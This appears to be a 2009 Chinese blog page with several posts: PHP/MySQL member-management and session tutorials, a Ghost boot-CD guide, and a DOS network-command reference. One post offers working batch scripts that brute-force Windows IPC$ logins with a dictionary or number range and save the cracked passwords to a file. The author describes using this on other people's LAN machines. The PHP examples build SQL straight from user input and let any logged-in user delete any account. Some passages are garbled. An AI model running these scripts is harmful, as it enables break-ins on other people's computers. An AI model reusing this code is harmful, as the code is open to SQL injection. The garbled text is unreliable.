}
else
{
echo '修改失敗!';
echo '<meta http-equiv=REFRESH CONTENT=2;url=member.php>';
}
}
else
{
echo '您無權限觀看此頁面!';
echo '<meta http-equiv=REFRESH CONTENT=2;url=index.php>';
}
?>
(10) 刪除會員資料 - 「填寫」要刪除之會員帳號(delete.php)
<?php session_start(); ?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
if($_SESSION['username'] != null)
{
echo "<form name=\"form\" method=\"post\" action=\"delete_finish.php\">";
echo "要刪除的帳號:<input type=\"text\" name=\"id\" /> <br>";
echo "<input type=\"submit\" name=\"button\" value=\"刪除\" />";
echo "</form>";
}
else
{
echo '您無權限觀看此頁面!';
echo '<meta http-equiv=REFRESH CONTENT=2;url=index.php>';
}
?>
(11) 刪除會員資料 - 對MySQL資料庫進行「刪除」會員資料(delete_finish.php)
<?php session_start(); ?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
include("mysql_connect.inc.php");
$id = $_POST['id'];
if($_SESSION['username'] != null)
{
//刪除資料庫資料語法
$sql = "delete from member_table where username='$id'";
if(mysql_query($sql))
{
echo '刪除成功!';
echo '<meta http-equiv=REFRESH CONTENT=2;url=member.php>';
}
else
{
echo '刪除失敗!';
echo '<meta http-equiv=REFRESH CONTENT=2;url=member.php>';
}
}
else
{
echo '您無權限觀看此頁面!';
echo '<meta http-equiv=REFRESH CONTENT=2;url=index.php>';
}
?>
- Oct 16 Fri 2009 20:46
-
session簡單的使用-在使用者登錄中
對比起 Cookie存放於使用者的電腦內,而Session 是儲存在伺服器端的會話,相對安全,並且不像 Cookie 那樣有存儲長度限制,本文簡單
介紹 Session 的使用。
由於 Session 是以script文件形式存儲在伺服器端的,所以不怕客戶端修改 Session 內容。實際上在伺服器端的 Session 文件,PHP 自動
修改 Session 文件的權限,只保留了系統讀和寫權限,而且不能通過 ftp 修改,所以安全得多。
對於 Cookie 來說,假設我們要驗證用戶是否登陸,就必須在 Cookie 中保存用戶名和密碼(可能是 md5 加密後字符串),並在每次請求頁
面的時候進行驗證。如果用戶名和密碼存儲在資料庫,每次都要執行一次資料庫查詢,給資料庫造成多餘的負擔。因為我們並不能只做一次驗
證。為什麼呢?因為客戶端 Cookie 中的信息是有可能被修改的。假如你存儲 $admin 變數來表示用戶是否登陸,$admin 為 true 的時候表
示登陸,為 false 的時候表示未登錄,在第一次通過驗證後將 $admin 等於 true 存儲在 Cookie,下次就不用驗證了,這樣對麼?錯了,假
如有人偽造一個值為 true 的 $admin 變數那不是就立即取的了管理權限麼?非常的不安全。
而 Session 就不同了,Session 是存儲在伺服器端的,遠端用戶沒辦法修改 Session 文件的內容,因此我們可以單純儲存一個 $admin 變數
來判斷是否登陸,首次驗證通過後設置 $admin 值為 true,以後判斷該值是否為 true,假如不是,轉入登陸界面,這樣就可以減少很多資料
庫操作了。而且可以減少每次為了驗證 Cookie 而傳遞密碼的不安全性了(Session 驗證只需要傳遞一次,假如你沒有使用 SSL 安全協議的
話)。即使密碼進行了 md5 加密,也是很容易被截獲的。
當然使用 Session 還有很多優點,比如控制容易,可以按照用戶自定義存儲等(存儲於資料庫)。我這裡就不多說了。
Session 在 php.ini 是否需要設置呢?一般不需要的,因為並不是每個人都有修改 php.ini 的權限,默認 Session 的存放路徑是伺服器的
系統臨時文件夾,我們可以自定義存放在自己的文件夾裡,這個稍後我會介紹。
開始介紹如何創建 Session。非常簡單,真的。
啟動 Session script,並創建一個 $admin 變數:
// 啟動 Sessionsession_start();
// 聲明一個名為 admin 的變數,並賦空值。
$_SESSION["admin"] = null;
?>
如果你使用了 Seesion,或者該 PHP 文件要調用 Session 變數,那麼就必須在調用 Session 之前啟動它,使用 session_start() 函數。其
它都不需要你設置了,PHP 自動完成 Session script的創建。
執行完這個程序後,我們可以到系統臨時文件夾找到這個 Session 文件,一般文件名形如:sess_4c83638b3b0dbf65583181c2f89168ec,後面
是 32 位編碼後的隨機字符串。用編輯器打開它,看一下它的內容: admin|N; 一般該內容是這樣的結構: 變數名|類型:長度:值; 並用分號
隔開每個變數。有些是可以省略的,比如長度和類型。
我們來看一下驗證程序,假設資料庫存儲的是用戶名和 md5 加密後的密碼:
login.php
// 表單提交後...
$posts = $_POST;
// 清除一些空白符號
foreach ($posts as $key => $value) { $posts[$key] = trim($value); }
$password = md5($posts["password"]);
$username = $posts["username"];
$query = "SELECT `username` FROM `user` WHERE `password` = '$password'";
// 取得查詢結果
$userInfo = $DB->getRow($query);
if (!empty($userInfo)) { if ($userInfo["username"] == $username) {
// 當驗證通過後,啟動 Session
session_start();
// 註冊登陸成功的 admin 變數,並賦值 true
$_SESSION["admin"] = true; }
else { die("用戶名密碼錯誤"); }
} else { die("用戶名密碼錯誤"); }
?>
我們在需要用戶驗證的頁面啟動 Session,判斷是否登陸:
// 防止全局變數造成安全隱患
$admin = false;
// 啟動會話,這步必不可少
session_start();
// 判斷是否登陸
if (isset($_SESSION["admin"]) && $_SESSION["admin"] === true) {
echo "您已經成功登陸";
} else {
// 驗證失敗,將 $_SESSION["admin"] 置為 false
$_SESSION["admin"] = false; die("您無權訪問"); }
?>
是不是很簡單呢?將 $_SESSION 看成是存儲在伺服器端的數組即可,我們註冊的每一個變數都是數組的鍵,跟使用數組沒有什麼分別。
如果要登出系統怎麼辦?銷毀 Session 即可。
session_start();
// 這種方法是將原來註冊的某個變數銷毀
unset($_SESSION["admin"]);
// 這種方法是銷毀整個 Session 文件 session_destroy();
?>
Session 能否像 Cookie 那樣設置生存週期呢?有了 Session 是否就完全拋棄 Cookie 呢?我想說,結合 Cookie 來使用 Session 才是最方
便的。 Session 是如何來判斷客戶端用戶的呢?它是通過 Session ID 來判斷的,什麼是 Session ID,就是那個 Session 文件的文件
名,Session ID 是隨機生成的,因此能保證唯一性和隨機性,確保 Session 的安全。一般如果沒有設置 Session 的生存週期,則 Session
ID 存儲在內存中,關閉瀏覽器後該 ID 自動註銷,重新請求該頁面後,重新註冊一個 Session ID。
如果客戶端沒有禁用 Cookie,則 Cookie 在啟動 Session 會話的時候扮演的是存儲 Session ID 和 Session 生存期的角色。
我們來手動設置 Session 的生存期:
// 保存一天
$lifeTime = 24 * 3600;
setcookie(session_name(), session_id(), time() + $lifeTime, "/");
?>
其實 Session 還提供了一個函數 session_set_cookie_params(); 來設置 Session 的生存期的,該函數必須在 session_start() 函數調用
之前調用:
// 保存一天
$lifeTime = 24 * 3600;
session_set_cookie_params($lifeTime);
session_start();
$_SESSION["admin"] = true;
?>
如果客戶端使用 IE 6.0 , session_set_cookie_params(); 函數設置 Cookie 會有些問題,所以我們還是手動調用 setcookie 函數來創建
cookie。
假設客戶端禁用 Cookie 怎麼辦?沒辦法,所有生存週期都是瀏覽器進程了,只要關閉瀏覽器,再次請求頁面又得重新註冊 Session。那麼怎
麼傳遞 Session ID 呢?通過 URL 或者通過隱藏表單來傳遞,PHP 會自動將 Session ID 發送到 URL 上,URL 形如:
http://www.openphp.cn/index.php?PHPSESSID=bba5b2a240a77e5b44cfa01d49cf9669,其中 URL 中的參數 PHPSESSID 就是 Session ID了,
我們可以使用 $_GET 來獲取該值,從而實現 Session ID 頁面間傳遞。
// 保存一天
$lifeTime = 24 * 3600;
// 取得當前 Session 名,默認為 PHPSESSID
$sessionName = session_name();
// 取得 Session ID
$sessionID = $_GET[$sessionName];
// 使用 session_id() 設置獲得的 Session ID
session_id($sessionID);
session_set_cookie_params($lifeTime); session_start();
$_SESSION["admin"] = true;
?>
對於虛擬主機來說,如果所有用戶的 Session 都保存在系統臨時文件夾裡,將給維護造成困難,而且降低了安全性,我們可以手動設置
Session 文件的保存路徑,session_save_path() 就提供了這樣一個功能。我們可以將 Session 存放目錄指向一個不能通過 Web 方式訪問的
文件夾,當然,該文件夾必須具備可讀寫屬性。
// 設置一個存放目錄
$savePath = "./session_save_dir/";
// 保存一天 $lifeTime = 24 * 3600;
session_save_path($savePath);
session_set_cookie_params($lifeTime);
session_start();
$_SESSION["admin"] = true;
?>
同 session_set_cookie_params(); 函數一樣,session_save_path() 函數也必須在 session_start() 函數調用之前調用。
我們還可以將數組,對像存儲在 Session 中。操作數組和操作一般變數沒有什麼區別,而保存對象的話,PHP 會自動對對像進行序列化(也
叫串行化),然後保存於 Session 中。下面例子說明了這一點:
person.php
class person {
var $age;
function output() { echo $this->age; }
function setAge($age) { $this->age = $age; }
}
?>
setage.php
session_start();
require_once "person.php";
$person = new person();
$person->setAge(21);
$_SESSION['person'] = $person;
echo "check here to output age";
?>
output.php
// 設置回調函數,確保重新構建對象。
ini_set('unserialize_callback_func', 'mycallback');
function mycallback($classname) { include_once $classname . ".php"; }
session_start();
$person = $_SESSION["person"];
// 輸出 21
$person->output();
?>
當我們執行 setage.php 文件的時候,調用了 setage() 方法,設置了年齡為 21,並將該狀態序列化後保存在 Session 中(PHP 將自動完成
這一轉換),當轉到 output.php 後,要輸出這個值,就必須反序列化剛才保存的對象,又因為在解序列化的時候需要實例化一個未定義類,
所以我們定義了以後回調函數,自動包含 person.php 這個類文件,因此對像被重構,並取得當前 age 的值為 21,然後調用 output() 方法
輸出該值。
另外,我們還可以使用 session_set_save_handler 函數來自定義 Session 的調用方式。
- Oct 05 Mon 2009 10:10
-
用Ghost製作2.88MB的還原光碟
最多只能同時放5種網路卡NDIS2驅動程式,
最近找到方法可以突破這個限制了---> 使用WinImage來製作,開機 Image !
而且也不需要軟碟機了(以後電腦會淘汰掉軟碟機),
下載安裝 WinImage 軟體 : http://www.winimage.com/
製作2.88MB開機Image方法如下 :
1. 建立新的Image : 啟動 WinImage-->File-->New-->選2.88MB
2. 改變Boot Sector : Image-->Boot sector properties-->
Windows 95/98-->OK
3. 將開機用檔案及Ghost用檔案目錄, 拉進WinImage視窗中
4. 存檔即完成, 開機 Image檔--> *.IMA (存檔格式用 .IMA 格式)
5. 燒錄到CD : 啟動Nero(不能用Express模式)-->CD-ROM(可開機)-->
開機-->映像檔-->瀏覽(選擇剛建好的*.IMA)-->開啟進階設定打勾-->
模擬類型選模擬2.88磁片-->開始燒錄
6. 完成
使用硬碟製作大容量開機Image方法如下:
1.在硬碟規劃64MB容量(或更大容量)之Partition
2.使用MS-DOS磁片或CD開機-->執行format E: /s
(其中E:為剛規劃的64MB Partition)
3. 選擇剛規劃的64MB Partition : WinImage-->Disk-->User Disk E:
4. 建立新的Image : WinImage-->File-->New-->
選擇import format from currently selected disk
5. 改變Boot Sector : Image-->Boot sector properties-->
Windows 95/98-->OK
6. 將開機用檔案及Ghost用檔案目錄, 拉進WinImage視窗中
7. 修改MSDOS.SYS, 使開機時, 不會顯示Windows 98的Logo, 內容如下 :
[Options]
BootGUI=0
Logo=0
8. 存檔即完成, 開機 Image檔--> *.IMA (存檔格式用 .IMA 格式)
9. 燒錄到CD : 啟動Nero(不能用Express模式)-->CD-ROM(可開機)-->
開機-->映像檔-->瀏覽(選擇剛建好的*.IMA)-->開啟進階設定打勾-->
模擬類型選模擬硬碟-->開始燒錄
10. 完成 ------摘自:http://jeffreylands.blogspot.com/2007/11/winimage144mb.html
- Oct 04 Sun 2009 01:13
-
Dos的網路指令
知道一個用戶帳號密碼後用dos指令破解nt
| 假如知道一個NT帳戶與密碼,就可以用 net use \主機ipc$ "密碼" /user:"用戶" 與遠程主機建立連接,這是每一個黑客或是夢想成為又或是正在努力成為黑客的朋友都知道的方法,甚至連我這個連菜鳥都算不上的小鳥都知道,我也僅僅知道這一條,我就用我僅僅知道的這一條在區域網裡進入別人的電腦,因為他們的電腦密碼都為空,被他們發現了之后狠K了一頓,然后紛紛加上了密碼,這下可沒戲了,想去偷窺他們的密碼他們又防得緊,只得想其他辦法,也許各位大蝦們就會利用其他方法,諸如尋找系統之類得到管理權限,而我不行,因為我前面說過,我只會那一條,那又會有人說用軟體暴力破解密碼就可以了,可是我不想用那些高深的軟件也沒有天賦去研究那些複雜的用法,卻在無意間看DOS的說明文件時發現了一些命令,當真是天無絕人之路: 1、字典:for /f %i in (字典文件) do net use \主機ipc$ "%i" /user:"用戶" 2、數字:for /l %i in (start,step,end) do net use \主機ipc$ "%i" /user:"用戶" 以上可參看DOS里面for說明文件,還別說,真讓我給連上幾台機子,可問題也隨之而來,連是連上了,我仍然不知道密碼,下次要用還得重新全部試過。 正失望,無意間又發現了一個好方法,也許我太笨,他們更聰明,,說不定你們早已經發現了,不再說廢話,下面就將方法全部給出,請各位大蝦指正: 將下面文件存為pass.bat: @echo off echo ------------------------------------------------------------------- >>c:pass.txt echo ------------------------------------------------------------------- >>c:pass.txt date /t >>c:pass.txt time /t >>c:pass.txt echo 破解結果: >>c:pass.txt if "%6"=="1" goto shit2 :shit1 start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3 goto quit :shit2 start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5 :quit 將下面文件存為test.bat: net use \%1ipc$ %2 /user:"%3" goto answer%ERRORLEVEL% rem %ERRORLEVEL%表示取前一命令執行返回結果,net use成左藀^0,失敗返回2 :answer0 echo 遠程主機:"%1" >>c:pass.txt echo 用 戶:"%3" >>c:pass.txt echo 密 碼:%2 >>c:pass.txt net use \%1ipc$ /delet exit :answer2 將pass.bat與test.bat存放于system32中(方便dos取用,不然收到那個目錄都行),用法如下: 1、如果用字典破解:pass.bat 字典文件路徑及名稱 主機 用戶名 2、如果用數字破解:pass.bat 起始數 步長 結束數 主機 用戶名 1 密碼破解出來之后,存放于c:pass.txt文件里面。 另外,我做的這些只是在區域網內測試,如果遠程測試,受網速限制,具體情況只能靠自己去摸索。 |
- Oct 04 Sun 2009 01:00
-
一些 dos 的基本網路指令…摘自史來姆
1.最基本,最常用的,測試物理網路的
ping 192.168.10.88 -t ,參數-t是等待用戶去中斷測試
2.檢視DNS、IP、Mac等
A.Win98:winipcfg
B.Win2000以上:Ipconfig/all
C.NSLOOKUP:如檢視河北的DNS
C:\>nslookup
Default Server: ns.hesjptt.net.cn
Address: 202.99.160.68
>server 202.99.41.2 則將DNS改為了41.2
> pop.pcpop.com
Server: ns.hesjptt.net.cn
Address: 202.99.160.68
Non-authoritative answer:
Name: pop.pcpop.com
Address: 202.99.160.212
3.網路信使
Net send 電腦名稱/IP|* (廣播) 傳送內容,注意不能跨網段
net stop messenger 停止信使服務,也可以在面板-服務修改
net start messenger 開始信使服務
4.探測對方對方電腦名稱,所在的組、域及當前用戶名
ping -a IP -t ,只顯示NetBios名
nbtstat -a 192.168.10.146 比較全的
5.netstat -a 顯示出你的電腦當前所開放的所有連接阜
netstat -s -e 比較詳細的顯示你的網路資料,包括TCP、UDP、ICMP 和 IP的統計等
6.探測arp綁定(動態和靜態)列表,顯示所有連接了我的電腦,顯示對方IP和MAC位址
arp -a
7.在代理伺服器端
元件服務IP和MAC位址,解決區域網路內盜用IP:
ARP -s 192.168.10.59 00-50-ff-6c-08-75
解除網路卡的IP與MAC位址的綁定:
arp -d 網路卡IP
8.在網路鄰居上隱藏你的電腦
net config server /hidden:yes
net config server /hidden:no 則為開啟
9.幾個net指令
A.顯示當前工作組伺服器列表 net view,當不帶選項使用本指令時,它就會顯示當前域或網路上的電腦上的列表。
比如:檢視這個IP上的共享資源,就可以
C:\>net view 192.168.10.8
在 192.168.10.8 的共享資源
資源共享名 檔案類型 用途 註釋
--------------------------------------
網站服務 Disk
指令成功完成。
B.檢視電腦上的用戶帳號列表 net user
C.檢視網路連接 net use
例如:net use z: \\192.168.10.8\movie 將這個IP的movie共享目錄映射為本機的Z盤
D.記錄連接 net session
例如:
C:\>net session
電腦 用戶名 客戶檔案類型 開啟空閒時間
-------------------------------------------------------------------------------
\\192.168.10.110 ROME Windows 2000 2195 0 00:03:12
\\192.168.10.51 ROME Windows 2000 2195 0 00:00:39
指令成功完成。
10.路由跟蹤指令
A.tracert pop.pcpop.com
B.pathping pop.pcpop.com 除了顯示路由外,還提供325S的分析,計算丟失掉包的%
11.關於共享安全的幾個指令
A.檢視你機器的共享資源 net share
B.手工移除共享
net share c$ /d
net share d$ /d
net share ipc$ /d
net share admin$ /d
注意$後有空格。
C.增加一個共享:
c:\net share mymovie=e:\downloads\movie /users:1
mymovie 共享成功。
同時限制連接用戶數為1人。
12.在DOS行下設定靜態IP
A.設定靜態IP
CMD
netsh
netsh>int
interface>ip
interface ip>set add "本機連接" static IP位址 mask gateway
B.檢視IP設定
interface ip>show address
Arp
顯示和修改「位址解析傳輸協定 (ARP)」快取中的項目。ARP 快取中包含一個或多個表,它們用於儲存於 IP 位址及其經過解析的乙太網或令牌環物理位址。電腦上安裝的每一個乙太網或令牌環網路橋接器都有自己單獨的表。如果在沒有參數的情況下使用,則 arp 指令將顯示說明 訊息。
語法
arp [-a [InetAddr] [-N IfaceAddr] [-g [InetAddr] [-N IfaceAddr] [-d InetAddr [IfaceAddr] [-s InetAddr EtherAddr [IfaceAddr]
參數
-a [InetAddr] [-N IfaceAddr]
顯示所有接頭的當前 ARP 快取表。要顯示指定 IP 位址的 ARP 快取項,請使用帶有 InetAddr 參數的 arp -a,此處的 InetAddr 代表指定的 IP 位址。要顯示指定接頭的 ARP 快取表,請使用 -N IfaceAddr 參數,此處的 IfaceAddr 代表分配給指定接頭的 IP 位址。-N 參數區分大小寫。
-g [InetAddr] [-N IfaceAddr]
與 -a 相同。
-d InetAddr [IfaceAddr]
移除指定的 IP 位址項,此處的 InetAddr 代表 IP 位址。對於指定的接頭,要移除表中的某項,請使用 IfaceAddr 參數,此處的 IfaceAddr 代表分配給該接頭的 IP 位址。要移除所有項,請使用星號 萬用字元替代 InetAddr。
-s InetAddr EtherAddr [IfaceAddr]
向 ARP 快取增加可將 IP 位址 InetAddr 解析成物理位址 EtherAddr 的靜態項。要向指定接頭的表增加靜態 ARP 快取項,請使用 IfaceAddr 參數,此處的 IfaceAddr 代表分配給該接頭的 IP 位址。
/?
在命令提示字元顯示說明 。
註釋
InetAddr 和 IfaceAddr 的 IP 位址用帶圓點的十進制記數法表示。
物理位址 EtherAddr 由六個字元組成,這些字元用十六進制記數法表示並且用連字元隔開(比如,00-AA-00-4F-2A-9C)。
通過 -s 參數增加的項屬於靜態項,它們不會 ARP 快取中超時。如果終止 TCP/IP 傳輸協定後再啟動,這些項會被移除。要新增永久的靜態 ARP 快取項,請在批次處理文件中使用適當的 arp 指令並通過「計劃工作程序」在啟動時執行該批次處理文件。
只有當網際傳輸協定 (TCP/IP) 傳輸協定在 網路連接中安裝為網路橋接器內容的元件時,該指令才可用。
範例
要顯示所有接頭的 ARP 快取表,可按鍵輸入:
arp -a
對於指派的 IP 位址為 10.0.0.99 的接頭,要顯示其 ARP 快取表,可按鍵輸入:
arp -a -N 10.0.0.99
要增加將 IP 位址 10.0.0.80 解析成物理位址 00-AA-00-4F-2A-9C 的靜態 ARP 快取項,可按鍵輸入:
arp -s 10.0.0.80 00-AA-00-4F-2A-9C
At
計劃在指定時間和日期在電腦上執行指令和程序。at 指令只能在「計劃」服務執行時使用。如果在沒有參數的情況下使用,則 at 列出已計劃的指令。
語法
at [\\ComputerName] [{[ID] [/delete]|/delete [/yes]}]
at [\\ComputerName] hours:minutes [/interactive] [{/everyate[,...]|/nextate[,...]}] command]
參數
\\computername
指定遠端電腦。如果省略該參數,則 at 計劃本機電腦上的指令和程序。
ID
指定指派給已計劃指令的識別碼。
/delete
取消已計劃的指令。如果省略了 ID,則電腦中所有已計劃的指令將被取消。
/yes
移除已計劃的事件時,對來自系統的所有詢問都回答「是」。
hours:minutes
指定指令執行的時間。該時間用 24 小時制(即從 00:00 [午夜] 到 23:59)的 小時: 分鍾格式表示。
/interactive
對於在執行 command 時登入的用戶,允許 command 與該用戶的桌面進行交互。
/every:
在每個星期或月的指定日期(例如,每個星期四,或每月的第三天)執行 command 指令。
date
指定執行指令的日期。可以指定一周的某日或多日(即,按鍵輸入 M、T、W、Th、F、S、Su)或一個?械哪橙棧蚨噯眨芶襶z?e氪?1 到31 之間的數位)。用逗號分隔多個日期項。如果省略了 date,則 at 使用該月的當前日。
/next:
在下一個指定日期(比如,下一個星期四)到來時執行 command。
command
指定要執行的 Windows 指令、程序(.exe 或 .com 文件)或批次處理程序(.bat 或 .cmd 文件)。當指令需要路徑作為參數時,請使用絕對路徑,也就是從驅動器號開始的整個路徑。如果指令在遠端電腦上,請指定伺服器和共享名的通用命名協定 (UNC) 符號,而不是遠端驅動器號。
/?
在命令提示字元顯示說明 。
註釋
Schtasks 是功能更為強大的超集指令行計劃工具,它含有 at 指令行工具中的所有功能。對於所有的指令行計劃工作,都可以使用 schtasks 來替代 at。有關 schtasks 的詳細資料,請參閱「相關主旨」。
使用 at
使用 at 指令時,要求您必須是本機 Administrators 組的成員。
載入 Cmd.exe
在執行指令之前,At 不會自動載入 Cmd.exe (指令解釋器)。如果沒有執行可執行文件 (.exe),則在指令開頭必須使用如下所顯示的方法專門載入 Cmd.exe:
cmd /c dir > c:\test.out。
檢視已計劃的指令
當不帶指令行選項使用 at 時,計劃工作會出現在類似於以下格式的表中:
Status ID Day Time Command Line
OK 1 Each F 4:30 PM net send group leads status due
OK 2 Each M 12:00 AM chkstor > check.file
OK 3 Each F 11:59 PM backup2.bat
包含標幟號 (ID)
當在指令提示下使用帶有標幟號 (ID) 的 at 指令時,單個工作項的訊息會顯示在類似於下面的格式中:
Task ID: 1
Status:OK
Schedule:Each F
Time of Day:4:30 PM
Command:net send group leads status due當計劃帶有 at 的指令(尤其是帶有指令行選項的指令)後,要通過按鍵輸入不帶指令行選項的 at 來檢查該指令語法是否輸入正確。如果顯示在「指令行」列中的訊息不正確,請移除該指令,然後重新按鍵輸入它。如果還不正確,則可以在重新按鍵輸入該指令時讓它少帶些指令行選項。
- Oct 02 Fri 2009 14:07
-
Ubuntu9.04試用完了…